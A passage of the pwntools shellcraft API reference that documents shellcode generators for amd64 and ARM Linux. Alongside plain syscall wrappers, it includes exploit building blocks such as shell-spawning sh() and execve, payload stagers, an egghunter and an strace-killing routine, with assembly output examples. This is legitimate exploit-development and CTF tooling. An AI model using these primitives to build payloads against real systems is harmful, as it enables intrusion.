- **sockfd** (*int*) – sockfd
- **level** (*int*) – level
- **optname** (*int*) – optname
- **optval** (*void*) – optval

- **optlen** (*int*) – optlen

pwnlib.shellcraft.amd64.linux.**setsockopt_timeout**(*sock*, *secs*)

Invokes the syscall for setsockopt to set a timeout on a socket in seconds. See 'man 2 setsockopt' for more information.

Parameters

- **sock** (*int*) – sock
- **secs** (*int*) – secs

pwnlib.shellcraft.amd64.linux.**settimeofday**(*tv*, *tz*)

Invokes the syscall settimeofday. See 'man 2 settimeofday' for more information.

Parameters

- **tv** (*timeval*) – tv
- **tz** (*timezone*) – tz

pwnlib.shellcraft.amd64.linux.**setuid**(*uid*)

Invokes the syscall setuid. See 'man 2 setuid' for more information.

Parameters **uid** (*uid_t*) – uid

pwnlib.shellcraft.amd64.linux.**sh**()

Execute a different process.

```
>>> p = run_assembly(shellcraft.amd64.linux.sh())
>>> p.sendline('echo Hello')
>>> p.recv()
'Hello\n'
```

pwnlib.shellcraft.amd64.linux.**sigaction**(*sig*, *act*, *oact*)

Invokes the syscall sigaction. See 'man 2 sigaction' for more information.

Parameters

- **sig** (*int*) – sig
- **act** (sigaction) – act
- **oact** (sigaction) – oact

pwnlib.shellcraft.amd64.linux.**sigaltstack**(*ss*, *oss*)

Invokes the syscall sigaltstack. See 'man 2 sigaltstack' for more information.

Parameters

- **ss** (sigaltstack) – ss
- **oss** (sigaltstack) – oss

pwnlib.shellcraft.amd64.linux.**signal**(*sig*, *handler*)

Invokes the syscall signal. See 'man 2 signal' for more information.

Parameters

- **sig** (*int*) – sig
- **handler** (*sighandler_t*) – handler

pwnlib.shellcraft.amd64.linux.**sigpending**(*set*)

Invokes the syscall sigpending. See 'man 2 sigpending' for more information.

Parameters **set** (*sigset_t*) – set `pwnlib.shellcraft.amd64.linux.`**`sigprocmask`**`(`*how*, *set*, *oset*, *sigsetsize*`)`

Invokes the syscall sigprocmask. See 'man 2 sigprocmask' for more information.

Parameters

- **how** (*int*) – how
- **set** (*sigset_t*) – set
- **oset** (*sigset_t*) – oset
- **sigsetsize** (*size_t*) – sigsetsize

`pwnlib.shellcraft.amd64.linux.`**`sigreturn`**`()`

Invokes the syscall sigreturn. See 'man 2 sigreturn' for more information.

`pwnlib.shellcraft.amd64.linux.`**`sigsuspend`**`(`*set*`)`

Invokes the syscall sigsuspend. See 'man 2 sigsuspend' for more information.

Parameters **set** (*sigset_t*) – set

`pwnlib.shellcraft.amd64.linux.`**`socket`**`(`*network='ipv4'*, *proto='tcp'*`)`

Creates a new socket

`pwnlib.shellcraft.amd64.linux.`**`splice`**`(`*fdin*, *offin*, *fdout*, *offout*, *length*, *flags*`)`

Invokes the syscall splice. See 'man 2 splice' for more information.

Parameters

- **fdin** (*int*) – fdin
- **offin** (*off64_t*) – offin
- **fdout** (*int*) – fdout
- **offout** (*off64_t*) – offout
- **len** (*size_t*) – len
- **flags** (*unsigned*) – flags

`pwnlib.shellcraft.amd64.linux.`**`stage`**`(`*fd=0*, *length=None*`)`

Migrates shellcode to a new buffer.

Parameters

- **fd** (*int*) – Integer file descriptor to recv data from. Default is stdin (0).
- **length** (*int*) – Optional buffer length. If None, the first pointer-width of data received is the length.

Example

```
>>> p = run_assembly(shellcraft.stage())
>>> sc = asm(shellcraft.echo("Hello\n", constants.STDOUT_FILENO))
>>> p.pack(len(sc))
>>> p.send(sc)
>>> p.recvline()
'Hello\n'
```

`pwnlib.shellcraft.amd64.linux.`**`stager`**`(`*sock*, *size*, *handle_error=False*`)`

Recives a fixed sized payload into a mmaped buffer Useful in conjuncion with findpeer. After running the socket will be left in RDI. :param sock, the socket to read the payload from.: :param size, the size of the payload:

pwnlib.shellcraft.amd64.linux.**stat**(*file*, *buf*)

Invokes the syscall stat. See 'man 2 stat' for more information.

Parameters

- **file** (*char*) – file
- **buf** (stat) – buf

pwnlib.shellcraft.amd64.linux.**stat64**(*file*, *buf*)

Invokes the syscall stat64. See 'man 2 stat64' for more information.

Parameters

- **file** (*char*) – file
- **buf** (stat64) – buf

pwnlib.shellcraft.amd64.linux.**stime**(*when*)

Invokes the syscall stime. See 'man 2 stime' for more information.

Parameters **when** (*time_t*) – when

pwnlib.shellcraft.amd64.linux.**strace_dos**()

Kills strace

pwnlib.shellcraft.amd64.linux.**stty**(*fd*, *params*)

Invokes the syscall stty. See 'man 2 stty' for more information.

Parameters

- **fd** (*int*) – fd
- **params** (*sgttyb*) – params

pwnlib.shellcraft.amd64.linux.**symlink**(*from_*, *to*)

Invokes the syscall symlink. See 'man 2 symlink' for more information.

Parameters

- **from** (*char*) – from
- **to** (*char*) – to

pwnlib.shellcraft.amd64.linux.**symlinkat**(*from_*, *tofd*, *to*)

Invokes the syscall symlinkat. See 'man 2 symlinkat' for more information.

Parameters

- **from** (*char*) – from
- **tofd** (*int*) – tofd
- **to** (*char*) – to

pwnlib.shellcraft.amd64.linux.**sync**()

Invokes the syscall sync. See 'man 2 sync' for more information.

Arguments:

pwnlib.shellcraft.amd64.linux.**sync_file_range**(*fd*, *offset*, *count*, *flags*)

Invokes the syscall sync_file_range. See 'man 2 sync_file_range' for more information.

Parameters

- **fd** (*int*) – fd
- **offset** (*off64_t*) – offset

- **count** (*off64_t*) – count
- **flags** (*unsigned*) – flags

pwnlib.shellcraft.amd64.linux.**syscall**(*syscall=None*, *arg0=None*, *arg1=None*, *arg2=None*, *arg3=None*, *arg4=None*, *arg5=None*)

Args: [syscall_number, *args] Does a syscall

Any of the arguments can be expressions to be evaluated by `pwnlib.constants.eval()`.

Example

```
>>> print pwnlib.shellcraft.amd64.linux.syscall('SYS_execve', 1, 'rsp', 2, 0).rstrip()
    /* call execve(1, 'rsp', 2, 0) */
    xor r10d, r10d /* 0 */
    push (SYS_execve) /* 0x3b */
    pop rax
    push 1
    pop rdi
    push 2
    pop rdx
    mov rsi, rsp
    syscall
>>> print pwnlib.shellcraft.amd64.linux.syscall('SYS_execve', 2, 1, 0, -1).rstrip()
    /* call execve(2, 1, 0, -1) */
    push -1
    pop r10
    push (SYS_execve) /* 0x3b */
    pop rax
    push 2
    pop rdi
    push 1
    pop rsi
    cdq /* rdx=0 */
    syscall
>>> print pwnlib.shellcraft.amd64.linux.syscall().rstrip()
    /* call syscall() */
    syscall
>>> print pwnlib.shellcraft.amd64.linux.syscall('rax', 'rdi', 'rsi').rstrip()
    /* call syscall('rax', 'rdi', 'rsi') */
    /* setregs noop */
    syscall
>>> print pwnlib.shellcraft.amd64.linux.syscall('rbp', None, None, 1).rstrip()
    /* call syscall('rbp', ?, ?, 1) */
    mov rax, rbp
    push 1
    pop rdx
    syscall
>>> print pwnlib.shellcraft.amd64.linux.syscall(
...               'SYS_mmap', 0, 0x1000,
...               'PROT_READ | PROT_WRITE | PROT_EXEC',
...               'MAP_PRIVATE | MAP_ANONYMOUS',
...               -1, 0).rstrip()
    /* call mmap(0, 4096, 'PROT_READ | PROT_WRITE | PROT_EXEC', 'MAP_PRIVATE | MAP_ANONYMOUS', -
    push (MAP_PRIVATE | MAP_ANONYMOUS) /* 0x22 */
    pop r10
    push -1
    pop r8
```

```
        xor r9d, r9d /* 0 */
        push (SYS_mmap) /* 9 */
        pop rax
        xor edi, edi /* 0 */
        push (PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
        pop rdx
        mov esi, 0x1010101 /* 4096 == 0x1000 */
        xor esi, 0x1011101
        syscall
```

`pwnlib.shellcraft.amd64.linux.`**`syslog`**(*pri*, *fmt*, *vararg*)

Invokes the syscall syslog. See ‘man 2 syslog’ for more information.

Parameters

- **`pri`** (*`int`*) – pri
- **`fmt`** (*`char`*) – fmt
- **`vararg`** (*`int`*) – vararg

`pwnlib.shellcraft.amd64.linux.`**`tee`**(*fdin*, *fdout*, *length*, *flags*)

Invokes the syscall tee. See ‘man 2 tee’ for more information.

Parameters

- **`fdin`** (*`int`*) – fdin
- **`fdout`** (*`int`*) – fdout
- **`len`** (*`size_t`*) – len
- **`flags`** (*`unsigned`*) – flags

`pwnlib.shellcraft.amd64.linux.`**`time`**(*timer*)

Invokes the syscall time. See ‘man 2 time’ for more information.

Parameters **`timer`** (*`time_t`*) – timer

`pwnlib.shellcraft.amd64.linux.`**`timer_create`**(*clock_id*, *evp*, *timerid*)

Invokes the syscall timer_create. See ‘man 2 timer_create’ for more information.

Parameters

- **`clock_id`** (*`clockid_t`*) – clock_id
- **`evp`** (*`sigevent`*) – evp
- **`timerid`** (*`timer_t`*) – timerid

`pwnlib.shellcraft.amd64.linux.`**`timer_delete`**(*timerid*)

Invokes the syscall timer_delete. See ‘man 2 timer_delete’ for more information.

Parameters **`timerid`** (*`timer_t`*) – timerid

`pwnlib.shellcraft.amd64.linux.`**`timer_getoverrun`**(*timerid*)

Invokes the syscall timer_getoverrun. See ‘man 2 timer_getoverrun’ for more information.

Parameters **`timerid`** (*`timer_t`*) – timerid

`pwnlib.shellcraft.amd64.linux.`**`timer_gettime`**(*timerid*, *value*)

Invokes the syscall timer_gettime. See ‘man 2 timer_gettime’ for more information.

Parameters

- **`timerid`** (*`timer_t`*) – timerid

- **value** (*itimerspec*) – value

pwnlib.shellcraft.amd64.linux.**timer_settime**(*timerid*, *flags*, *value*, *ovalue*)
Invokes the syscall timer_settime. See 'man 2 timer_settime' for more information.

Parameters

- **timerid** (*timer_t*) – timerid
- **flags** (*int*) – flags
- **value** (*itimerspec*) – value
- **ovalue** (*itimerspec*) – ovalue

pwnlib.shellcraft.amd64.linux.**truncate**(*file*, *length*)
Invokes the syscall truncate. See 'man 2 truncate' for more information.

Parameters

- **file** (*char*) – file
- **length** (*off_t*) – length

pwnlib.shellcraft.amd64.linux.**truncate64**(*file*, *length*)
Invokes the syscall truncate64. See 'man 2 truncate64' for more information.

Parameters

- **file** (*char*) – file
- **length** (*off64_t*) – length

pwnlib.shellcraft.amd64.linux.**ulimit**(*cmd*, *vararg*)
Invokes the syscall ulimit. See 'man 2 ulimit' for more information.

Parameters

- **cmd** (*int*) – cmd
- **vararg** (*int*) – vararg

pwnlib.shellcraft.amd64.linux.**umask**(*mask*)
Invokes the syscall umask. See 'man 2 umask' for more information.

Parameters **mask** (*mode_t*) – mask

pwnlib.shellcraft.amd64.linux.**uname**(*name*)
Invokes the syscall uname. See 'man 2 uname' for more information.

Parameters **name** (*utsname*) – name

pwnlib.shellcraft.amd64.linux.**unlink**(*name*)
Invokes the syscall unlink. See 'man 2 unlink' for more information.

Parameters **name** (*char*) – name

pwnlib.shellcraft.amd64.linux.**unlinkat**(*fd*, *name*, *flag*)
Invokes the syscall unlinkat. See 'man 2 unlinkat' for more information.

Parameters

- **fd** (*int*) – fd
- **name** (*char*) – name
- **flag** (*int*) – flag

`pwnlib.shellcraft.amd64.linux.`**`unshare`**`(`*flags*`)`
Invokes the syscall unshare. See 'man 2 unshare' for more information.

Parameters **`flags`** (*`int`*) – flags

`pwnlib.shellcraft.amd64.linux.`**`ustat`**`(`*dev*, *ubuf*`)`
Invokes the syscall ustat. See 'man 2 ustat' for more information.

Parameters

- **`dev`** (*`dev_t`*) – dev
- **`ubuf`** (`ustat`) – ubuf

`pwnlib.shellcraft.amd64.linux.`**`utime`**`(`*file*, *file_times*`)`
Invokes the syscall utime. See 'man 2 utime' for more information.

Parameters

- **`file`** (*`char`*) – file
- **`file_times`** (*`utimbuf`*) – file_times

`pwnlib.shellcraft.amd64.linux.`**`utimensat`**`(`*fd*, *path*, *times*, *flags*`)`
Invokes the syscall utimensat. See 'man 2 utimensat' for more information.

Parameters

- **`fd`** (*`int`*) – fd
- **`path`** (*`char`*) – path
- **`times`** (*`timespec`*) – times
- **`flags`** (*`int`*) – flags

`pwnlib.shellcraft.amd64.linux.`**`utimes`**`(`*file*, *tvp*`)`
Invokes the syscall utimes. See 'man 2 utimes' for more information.

Parameters

- **`file`** (*`char`*) – file
- **`tvp`** (*`timeval`*) – tvp

`pwnlib.shellcraft.amd64.linux.`**`vfork`**`()`
Invokes the syscall vfork. See 'man 2 vfork' for more information.

Arguments:

`pwnlib.shellcraft.amd64.linux.`**`vhangup`**`()`
Invokes the syscall vhangup. See 'man 2 vhangup' for more information.

Arguments:

`pwnlib.shellcraft.amd64.linux.`**`vmsplice`**`(`*fdout*, *iov*, *count*, *flags*`)`
Invokes the syscall vmsplice. See 'man 2 vmsplice' for more information.

Parameters

- **`fdout`** (*`int`*) – fdout
- **`iov`** (*`iovec`*) – iov
- **`count`** (*`size_t`*) – count
- **`flags`** (*`unsigned`*) – flags

`pwnlib.shellcraft.amd64.linux.`**`wait4`**(*pid*, *stat_loc*, *options*, *usage*)

Invokes the syscall wait4. See 'man 2 wait4' for more information.

Parameters

- **pid** (*pid_t*) – pid
- **stat_loc** (*WAIT_STATUS*) – stat_loc
- **options** (*int*) – options
- **usage** (*rusage*) – usage

`pwnlib.shellcraft.amd64.linux.`**`waitid`**(*idtype*, *id*, *infop*, *options*)

Invokes the syscall waitid. See 'man 2 waitid' for more information.

Parameters

- **idtype** (*idtype_t*) – idtype
- **id** (*id_t*) – id
- **infop** (*siginfo_t*) – infop
- **options** (*int*) – options

`pwnlib.shellcraft.amd64.linux.`**`waitpid`**(*pid*, *stat_loc*, *options*)

Invokes the syscall waitpid. See 'man 2 waitpid' for more information.

Parameters

- **pid** (*pid_t*) – pid
- **stat_loc** (*int*) – stat_loc
- **options** (*int*) – options

`pwnlib.shellcraft.amd64.linux.`**`write`**(*fd*, *buf*, *n*)

Invokes the syscall write. See 'man 2 write' for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **n** (*size_t*) – n

`pwnlib.shellcraft.amd64.linux.`**`writeloop`**(*readsock=0*, *writesock=1*)

Reads from a buffer of a size and location determined at runtime. When the shellcode is executing, it should send a pointer and pointer-width size to determine the location and size of buffer.

`pwnlib.shellcraft.amd64.linux.`**`writev`**(*fd*, *iovec*, *count*)

Invokes the syscall writev. See 'man 2 writev' for more information.

Parameters

- **fd** (*int*) – fd
- **iovec** (*iovec*) – iovec
- **count** (*int*) – count

`pwnlib.shellcraft.arm` — Shellcode for ARM

`pwnlib.shellcraft.arm`

Shellcraft module containing generic ARM little endian shellcodes.

`pwnlib.shellcraft.arm.`**`crash`**`()`

Crash.

Example

```
>>> run_assembly(shellcraft.crash()).poll(True)
-11
```

`pwnlib.shellcraft.arm.`**`infloop`**`()`

An infinite loop.

`pwnlib.shellcraft.arm.`**`itoa`**`(`*v*, *buffer='sp'*, *allocate_stack=True*`)`

Converts an integer into its string representation, and pushes it onto the stack. Uses registers r0-r5.

Parameters

- **`v`** (*`str, int`*) – Integer constant or register that contains the value to convert.
- **`alloca`** –

Example

```
>>> sc = shellcraft.arm.mov('r0', 0xdeadbeef)
>>> sc += shellcraft.arm.itoa('r0')
>>> sc += shellcraft.arm.linux.write(1, 'sp', 32)
>>> run_assembly(sc).recvuntil('\x00')
'3735928559\x00'
```

`pwnlib.shellcraft.arm.`**`memcpy`**`(`*dest*, *src*, *n*`)`

Copies memory.

Parameters

- **`dest`** – Destination address
- **`src`** – Source address
- **`n`** – Number of bytes

`pwnlib.shellcraft.arm.`**`mov`**`(`*dst*, *src*`)`

Move src into dest.

Support for automatically avoiding newline and null bytes has to be done.

If src is a string that is not a register, then it will locally set *context.arch* to *'arm'* and use `pwnlib.constants.eval()` to evaluate the string. Note that this means that this shellcode can change behavior depending on the value of *context.os*.

Examples

```
>>> print shellcraft.arm.mov('r0','r1').rstrip()
    mov  r0, r1
>>> print shellcraft.arm.mov('r0', 5).rstrip()
    mov  r0, #5
>>> print shellcraft.arm.mov('r0', 0x34532).rstrip()
    movw r0, #0x34532 & 0xffff
    movt r0, #0x34532 >> 16
>>> print shellcraft.arm.mov('r0', 0x101).rstrip()
    movw r0, #0x101
>>> print shellcraft.arm.mov('r0', 0xff << 14).rstrip()
    mov  r0, #0x3fc000
>>> print shellcraft.arm.mov('r0', 0xff << 15).rstrip()
    movw r0, #0x7f8000 & 0xffff
    movt r0, #0x7f8000 >> 16
>>> print shellcraft.arm.mov('r0', 0xf00d0000).rstrip()
    eor  r0, r0
    movt r0, #0xf00d0000 >> 16
>>> print shellcraft.arm.mov('r0', 0xffff00ff).rstrip()
    mvn  r0, #(0xffff00ff ^ (-1))
>>> print shellcraft.arm.mov('r0', 0x1fffffff).rstrip()
    mvn  r0, #(0x1fffffff ^ (-1))
```

Parameters

- **dest** (*str*) – ke destination register.
- **src** (*str*) – Either the input register, or an immediate value.

pwnlib.shellcraft.arm.**nop**()

A nop instruction.

pwnlib.shellcraft.arm.**push**(*word*, *register='r12'*)

Pushes a 32-bit integer onto the stack. Uses r12 as a temporary register.

r12 is defined as the inter-procedural scartch register ($ip), so this should not interfere with most usage.

Parameters

- **word** (*int, str*) – The word to push
- **tmpreg** (*str*) – Register to use as a temporary register. R7 is used by default.

pwnlib.shellcraft.arm.**pushstr**(*string*, *append_null=True*, *register='r7'*)

Pushes a string onto the stack.

Parameters

- **string** (*str*) – The string to push.
- **append_null** (*bool*) – Whether to append a single NULL-byte before pushing.
- **register** (*str*) – Temporary register to use. By default, R7 is used.

Examples

```
>>> print shellcraft.arm.pushstr("Hello!").rstrip()
    /* push 'Hello!\x00A' */
    movw r7, #0x4100216f & 0xffff
```

```
        movt r7, #0x4100216f >> 16
        push {r7}
        movw r7, #0x6c6c6548 & 0xffff
        movt r7, #0x6c6c6548 >> 16
        push {r7}
```

pwnlib.shellcraft.arm.**pushstr_array**(*reg*, *array*)

Pushes an array/envp-style array of pointers onto the stack.

Parameters

- **reg** (*str*) – Destination register to hold the pointer.
- **array** (*str, list*) – Single argument or list of arguments to push. NULL termination is normalized so that each argument ends with exactly one NULL byte.

pwnlib.shellcraft.arm.**ret**(*return_value=None*)

A single-byte RET instruction.

Parameters **return_value** – Value to return

Examples

```
>>> with context.local(arch='arm'):
...     print enhex(asm(shellcraft.ret()))
...     print enhex(asm(shellcraft.ret(0)))
...     print enhex(asm(shellcraft.ret(0xdeadbeef)))
1eff2fe1
000020e01eff2fe1
ef0e0be3ad0e4de31eff2fe1
```

pwnlib.shellcraft.arm.**setregs**(*reg_context*, *stack_allowed=True*)

Sets multiple registers, taking any register dependencies into account (i.e., given eax=1,ebx=eax, set ebx first).

Parameters

- **reg_context** (*dict*) – Desired register context
- **stack_allowed** (*bool*) – Can the stack be used?

Example

```
>>> print shellcraft.setregs({'r0':1, 'r2':'r3'}).rstrip()
    mov  r0, #1
    mov  r2, r3
>>> print shellcraft.setregs({'r0':'r1', 'r1':'r0', 'r2':'r3'}).rstrip()
    mov  r2, r3
    eor  r0, r0, r1 /* xchg r0, r1 */
    eor  r1, r0, r1
    eor  r0, r0, r1
```

pwnlib.shellcraft.arm.**to_thumb**(*reg=None*, *avoid=[]*)

Go from ARM to THUMB mode.

pwnlib.shellcraft.arm.**trap**()

A trap instruction.

pwnlib.shellcraft.arm.**udiv_10**(*N*)

Divides r0 by 10. Result is stored in r0, N and Z flags are updated.

Code is from generated from here: https://raw.githubusercontent.com/rofirrim/raspberry-pi-assembler/master/chapter15/magic.py

With code: python magic.py 10 code_for_unsigned

`pwnlib.shellcraft.arm.`**`xor`**`(`*key*, *address*, *count*`)`

XORs data a constant value.

Parameters

- **key** (*int, str*) – XOR key either as a 4-byte integer, If a string, length must be a power of two, and not longer than 4 bytes.
- **address** (*int*) – Address of the data (e.g. 0xdead0000, 'rsp')
- **count** (*int*) – Number of bytes to XOR.

Example

```
>>> sc  = shellcraft.read(0, 'sp', 32)
>>> sc += shellcraft.xor(0xdeadbeef, 'sp', 32)
>>> sc += shellcraft.write(1, 'sp', 32)
>>> io = run_assembly(sc)
>>> io.send(cyclic(32))
>>> result = io.recvn(32)
>>> expected = xor(cyclic(32), p32(0xdeadbeef))
>>> result == expected
True
```

pwnlib.shellcraft.arm.linux

Shellcraft module containing ARM shellcodes for Linux.

`pwnlib.shellcraft.arm.linux.`**`accept`**`(`*fd*, *addr*, *addr_len*`)`

Invokes the syscall accept. See 'man 2 accept' for more information.

Parameters

- **fd** (*int*) – fd
- **addr** (*SOCKADDR_ARG*) – addr
- **addr_len** (*socklen_t*) – addr_len

`pwnlib.shellcraft.arm.linux.`**`access`**`(`*name*, *type*`)`

Invokes the syscall access. See 'man 2 access' for more information.

Parameters

- **name** (*char*) – name
- **type** (*int*) – type

`pwnlib.shellcraft.arm.linux.`**`acct`**`(`*name*`)`

Invokes the syscall acct. See 'man 2 acct' for more information.

Parameters **name** (*char*) – name

`pwnlib.shellcraft.arm.linux.`**`alarm`**`(`*seconds*`)`

Invokes the syscall alarm. See 'man 2 alarm' for more information.

Parameters **seconds** (*unsigned*) – seconds `pwnlib.shellcraft.arm.linux.`**`bind`**`(`*fd*, *addr*, *length*`)`

Invokes the syscall bind. See 'man 2 bind' for more information.

Parameters

- **`fd`** (`int`) – fd
- **`addr`** (*`CONST_SOCKADDR_ARG`*) – addr
- **`len`** (*`socklen_t`*) – len

`pwnlib.shellcraft.arm.linux.`**`brk`**`(`*addr*`)`

Invokes the syscall brk. See 'man 2 brk' for more information.

Parameters **`addr`** (*`void`*) – addr

`pwnlib.shellcraft.arm.linux.`**`cacheflush`**`()`

Invokes the cache-flush operation, without using any NULL or newline bytes.

Effectively is just:

> mov r0, #0 mov r1, #-1 mov r2, #0 swi 0x9F0002

How this works:

> ... However, SWI generates a software interrupt and to the interrupt handler, 0x9F0002 is actually data and as a result will not be read via the instruction cache, so if we modify the argument to SWI in our self-modifyign code, the argument will be read correctly.

`pwnlib.shellcraft.arm.linux.`**`cat`**`(`*filename*, *fd=1*`)`

Opens a file and writes its contents to the specified file descriptor.

Example

```
>>> f = tempfile.mktemp()
>>> write(f, 'FLAG\n')
>>> run_assembly(shellcraft.arm.linux.cat(f)).recvline()
'FLAG\n'
```

`pwnlib.shellcraft.arm.linux.`**`chdir`**`(`*path*`)`

Invokes the syscall chdir. See 'man 2 chdir' for more information.

Parameters **`path`** (*`char`*) – path

`pwnlib.shellcraft.arm.linux.`**`chmod`**`(`*file*, *mode*`)`

Invokes the syscall chmod. See 'man 2 chmod' for more information.

Parameters

- **`file`** (*`char`*) – file
- **`mode`** (*`mode_t`*) – mode

`pwnlib.shellcraft.arm.linux.`**`chown`**`(`*file*, *owner*, *group*`)`

Invokes the syscall chown. See 'man 2 chown' for more information.

Parameters

- **`file`** (*`char`*) – file
- **`owner`** (*`uid_t`*) – owner
- **`group`** (*`gid_t`*) – group

`pwnlib.shellcraft.arm.linux.`**`chroot`**(*path*)

Invokes the syscall chroot. See 'man 2 chroot' for more information.

Parameters **path** (*char*) – path

`pwnlib.shellcraft.arm.linux.`**`clock_getres`**(*clock_id*, *res*)

Invokes the syscall clock_getres. See 'man 2 clock_getres' for more information.

Parameters

- **clock_id** (*clockid_t*) – clock_id
- **res** (*timespec*) – res

`pwnlib.shellcraft.arm.linux.`**`clock_gettime`**(*clock_id*, *tp*)

Invokes the syscall clock_gettime. See 'man 2 clock_gettime' for more information.

Parameters

- **clock_id** (*clockid_t*) – clock_id
- **tp** (*timespec*) – tp

`pwnlib.shellcraft.arm.linux.`**`clock_nanosleep`**(*clock_id*, *flags*, *req*, *rem*)

Invokes the syscall clock_nanosleep. See 'man 2 clock_nanosleep' for more information.

Parameters

- **clock_id** (*clockid_t*) – clock_id
- **flags** (*int*) – flags
- **req** (*timespec*) – req
- **rem** (*timespec*) – rem

`pwnlib.shellcraft.arm.linux.`**`clock_settime`**(*clock_id*, *tp*)

Invokes the syscall clock_settime. See 'man 2 clock_settime' for more information.

Parameters

- **clock_id** (*clockid_t*) – clock_id
- **tp** (*timespec*) – tp

`pwnlib.shellcraft.arm.linux.`**`clone`**(*fn*, *child_stack*, *flags*, *arg*, *vararg*)

Invokes the syscall clone. See 'man 2 clone' for more information.

Parameters

- **fn** (*int*) – fn
- **child_stack** (*void*) – child_stack
- **flags** (*int*) – flags
- **arg** (*void*) – arg
- **vararg** (*int*) – vararg

`pwnlib.shellcraft.arm.linux.`**`close`**(*fd*)

Invokes the syscall close. See 'man 2 close' for more information.

Parameters **fd** (*int*) – fd

`pwnlib.shellcraft.arm.linux.`**`connect`**(*host*, *port*, *network='ipv4'*)

Connects to the host on the specified port. Network is either 'ipv4' or 'ipv6'. Leaves the connected socket in R6.

`pwnlib.shellcraft.arm.linux.`**`creat`**(*file*, *mode*)

Invokes the syscall creat. See 'man 2 creat' for more information.

Parameters

- **`file`** (*`char`*) – file
- **`mode`** (*`mode_t`*) – mode

`pwnlib.shellcraft.arm.linux.`**`dir`**(*in_fd='r6'*, *size=2048*, *allocate_stack=True*)

Reads to the stack from a directory.

Parameters

- **`in_fd`** (*`int/str`*) – File descriptor to be read from.
- **`size`** (*`int`*) – Buffer size.
- **`allocate_stack`** (*`bool`*) – allocate 'size' bytes on the stack.

You can optioanlly shave a few bytes not allocating the stack space.

The size read is left in eax.

`pwnlib.shellcraft.arm.linux.`**`dup`**(*fd*)

Invokes the syscall dup. See 'man 2 dup' for more information.

Parameters **`fd`** (*`int`*) – fd

`pwnlib.shellcraft.arm.linux.`**`dup2`**(*fd*, *fd2*)

Invokes the syscall dup2. See 'man 2 dup2' for more information.

Parameters

- **`fd`** (*`int`*) – fd
- **`fd2`** (*`int`*) – fd2

`pwnlib.shellcraft.arm.linux.`**`dup3`**(*fd*, *fd2*, *flags*)

Invokes the syscall dup3. See 'man 2 dup3' for more information.

Parameters

- **`fd`** (*`int`*) – fd
- **`fd2`** (*`int`*) – fd2
- **`flags`** (*`int`*) – flags

`pwnlib.shellcraft.arm.linux.`**`echo`**(*string*, *sock='1'*)

Writes a string to a file descriptor

Example

```
>>> run_assembly(shellcraft.echo('hello\n', 1)).recvline()
'hello\n'
```

`pwnlib.shellcraft.arm.linux.`**`egghunter`**(*egg*, *start_address = 0*, *double_check = True*)

Searches for an egg, which is either a four byte integer or a four byte string. The egg must appear twice in a row if double_check is True. When the egg has been found the egghunter branches to the address following it. If start_address has been specified search will start on the first address of the page that contains that address.

`pwnlib.shellcraft.arm.linux.`**`epoll_create`**(*size*)

Invokes the syscall epoll_create. See 'man 2 epoll_create' for more information.

Parameters **size** (*int*) – size

pwnlib.shellcraft.arm.linux.**epoll_create1**(*flags*)
Invokes the syscall epoll_create1. See 'man 2 epoll_create1' for more information.

Parameters **flags** (*int*) – flags

pwnlib.shellcraft.arm.linux.**epoll_ctl**(*epfd*, *op*, *fd*, *event*)
Invokes the syscall epoll_ctl. See 'man 2 epoll_ctl' for more information.

Parameters

- **epfd** (*int*) – epfd
- **op** (*int*) – op
- **fd** (*int*) – fd
- **event** (*epoll_event*) – event

pwnlib.shellcraft.arm.linux.**epoll_pwait**(*epfd*, *events*, *maxevents*, *timeout*, *ss*)
Invokes the syscall epoll_pwait. See 'man 2 epoll_pwait' for more information.

Parameters

- **epfd** (*int*) – epfd
- **events** (*epoll_event*) – events
- **maxevents** (*int*) – maxevents
- **timeout** (*int*) – timeout
- **ss** (*sigset_t*) – ss

pwnlib.shellcraft.arm.linux.**epoll_wait**(*epfd*, *events*, *maxevents*, *timeout*)
Invokes the syscall epoll_wait. See 'man 2 epoll_wait' for more information.

Parameters

- **epfd** (*int*) – epfd
- **events** (*epoll_event*) – events
- **maxevents** (*int*) – maxevents
- **timeout** (*int*) – timeout

pwnlib.shellcraft.arm.linux.**execve**(*path='/bin///sh'*, *argv=[]*, *envp={}*)
Execute a different process.

```
>>> path = '/bin/sh'
>>> argv = ['sh', '-c', 'echo Hello, $NAME; exit $STATUS']
>>> envp = {'NAME': 'zerocool', 'STATUS': 3}
>>> sc = shellcraft.arm.linux.execve(path, argv, envp)
>>> io = run_assembly(sc)
>>> io.recvall()
'Hello, zerocool\n'
>>> io.poll(True)
3
```

pwnlib.shellcraft.arm.linux.**exit**(*status*)
Invokes the syscall exit. See 'man 2 exit' for more information.

Parameters **status** (*int*) – status

`pwnlib.shellcraft.arm.linux.`**`faccessat`**(*fd*, *file*, *type*, *flag*)
Invokes the syscall faccessat. See 'man 2 faccessat' for more information.

Parameters

- **fd** (*int*) – fd
- **file** (*char*) – file
- **type** (*int*) – type
- **flag** (*int*) – flag

`pwnlib.shellcraft.arm.linux.`**`fallocate`**(*fd*, *mode*, *offset*, *length*)
Invokes the syscall fallocate. See 'man 2 fallocate' for more information.

Parameters

- **fd** (*int*) – fd
- **mode** (*int*) – mode
- **offset** (*off_t*) – offset
- **len** (*off_t*) – len

`pwnlib.shellcraft.arm.linux.`**`fchdir`**(*fd*)
Invokes the syscall fchdir. See 'man 2 fchdir' for more information.

Parameters **fd** (*int*) – fd

`pwnlib.shellcraft.arm.linux.`**`fchmod`**(*fd*, *mode*)
Invokes the syscall fchmod. See 'man 2 fchmod' for more information.

Parameters

- **fd** (*int*) – fd
- **mode** (*mode_t*) – mode

`pwnlib.shellcraft.arm.linux.`**`fchmodat`**(*fd*, *file*, *mode*, *flag*)
Invokes the syscall fchmodat. See 'man 2 fchmodat' for more information.

Parameters

- **fd** (*int*) – fd
- **file** (*char*) – file
- **mode** (*mode_t*) – mode
- **flag** (*int*) – flag

`pwnlib.shellcraft.arm.linux.`**`fchown`**(*fd*, *owner*, *group*)
Invokes the syscall fchown. See 'man 2 fchown' for more information.

Parameters

- **fd** (*int*) – fd
- **owner** (*uid_t*) – owner
- **group** (*gid_t*) – group

`pwnlib.shellcraft.arm.linux.`**`fchownat`**(*fd*, *file*, *owner*, *group*, *flag*)
Invokes the syscall fchownat. See 'man 2 fchownat' for more information.

Parameters

- **fd** (*int*) – fd
- **file** (*char*) – file
- **owner** (*uid_t*) – owner
- **group** (*gid_t*) – group
- **flag** (*int*) – flag

pwnlib.shellcraft.arm.linux.**fcntl**(*fd*, *cmd*, *vararg*)

Invokes the syscall fcntl. See 'man 2 fcntl' for more information.

Parameters

